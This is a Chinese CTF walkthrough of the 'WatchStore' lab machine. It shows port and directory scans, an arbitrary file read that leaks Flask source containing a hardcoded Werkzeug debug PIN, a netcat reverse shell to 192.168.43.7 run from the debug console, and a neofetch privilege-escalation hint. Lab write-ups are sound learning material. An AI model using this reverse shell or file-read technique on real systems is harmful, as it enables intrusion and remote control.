WatchStore

image

信息搜集

192.168.43.36

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(root㉿LAPTOP-O235O5EH)-[~]
└─# rustscan -a 192.168.43.36
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports faster than you can say 'SYN ACK'

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.36:22
Open 192.168.43.36:8080
[~] Starting Script(s)
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-30 14:22 +0800
Initiating ARP Ping Scan at 14:22
Scanning 192.168.43.36 [1 port]
Completed ARP Ping Scan at 14:22, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:22
Completed Parallel DNS resolution of 1 host. at 14:22, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 14:22
Scanning 192.168.43.36 [2 ports]
Discovered open port 8080/tcp on 192.168.43.36
Discovered open port 22/tcp on 192.168.43.36
Completed SYN Stealth Scan at 14:22, 0.02s elapsed (2 total ports)
Nmap scan report for 192.168.43.36
Host is up, received arp-response (0.00057s latency).
Scanned at 2026-03-30 14:22:23 CST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
8080/tcp open http-proxy syn-ack ttl 64
MAC Address: 08:00:27:AA:B2:0F (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

枚举 8080

访问8080端口的时候重定向到了watchstore.thl:8080

image

写入hosts

1
192.168.43.36 watchstore.thl

image

目录扫描

1
2
3
4
5
6
7
8
gobuster dir -u http://watchstore.thl:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak -t 64
===============================================================
...
===============================================================
/products (Status: 200) [Size: 772]
/read (Status: 500) [Size: 13133]
/console (Status: 200) [Size: 1563]
...

http://watchstore.thl:8080/read

泄露了参数信息id和网站路径

image

image

是一个任意文件读取的

读取/home/relox/watchstore/app.py查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import os
os.environ['WERKZEUG_DEBUG_PIN'] = '612-791-734'

from flask import Flask, render_template, request, abort, redirect

app = Flask(__name__)

class Watch:
def __init__(self, id, name, description, image):
self.id = id
self.name = name
self.description = description
self.image = image

# Relojes destacados
watches = [
Watch(1, 'Reloj de lujo 1', 'Elegancia y precisión en cada segundo.', 'reloj1.jpg'),
Watch(2, 'Reloj de lujo 2', 'Elegancia y precisión en cada segundo.', 'reloj2.jpg'),
Watch(3, 'Reloj de lujo 3', 'Elegancia y precisión en cada segundo.', 'reloj3.jpg'),
]

# Más productos (solo imágenes)
more_watches = [
Watch(4, '', '', 'product1.jpg'),
Watch(5, '', '', 'product2.jpg'),
Watch(6, '', '', 'product3.jpg'),
Watch(7, '', '', 'product4.jpg'),
]

@app.before_request
def enforce_domain():
host = request.headers.get('Host', '')
if not host.startswith('watchstore.thl'):
query_string = request.query_string.decode()
port = ''
if ':' in host:
port = host.split(':')[1]
url = f"http://watchstore.thl"
if port:
url += f":{port}"
url += request.path
if query_string:
url += f"?{query_string}"
return redirect(url, code=301)

@app.route('/')
def index():
return render_template('index.html', watches=watches)

@app.route('/products')
def products_page():
return render_template('products.html', watches=more_watches)

@app.route('/view/')
def view_watch(watch_id):
watch = next((w for w in watches + more_watches if w.id == watch_id), None)
if watch is None:
abort(404)
return render_template('view.html', watch=watch)

@app.route('/read')
def read_file():
filepath = request.args.get('id')
if not filepath:
raise Exception("Falta el parámetro 'id'") # Esto mostrará el traceback
try:
with open(filepath, 'r') as f:
content = f.read()
except Exception as e:
content = f"No se pudo leer el archivo: {e}"
return f"
{content}
"

if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080, debug=True)

可以看到开启了debug且Werkzeug的pin码是612-791-734

进入到console输入pin码反弹shell

1
2
import os
os.system("busybox nc 192.168.43.7 7777 -e /bin/bash")

image

image

提权

image

可以使用neofetch提权

https://gtfobins.org/gtfobins/neofetch/

image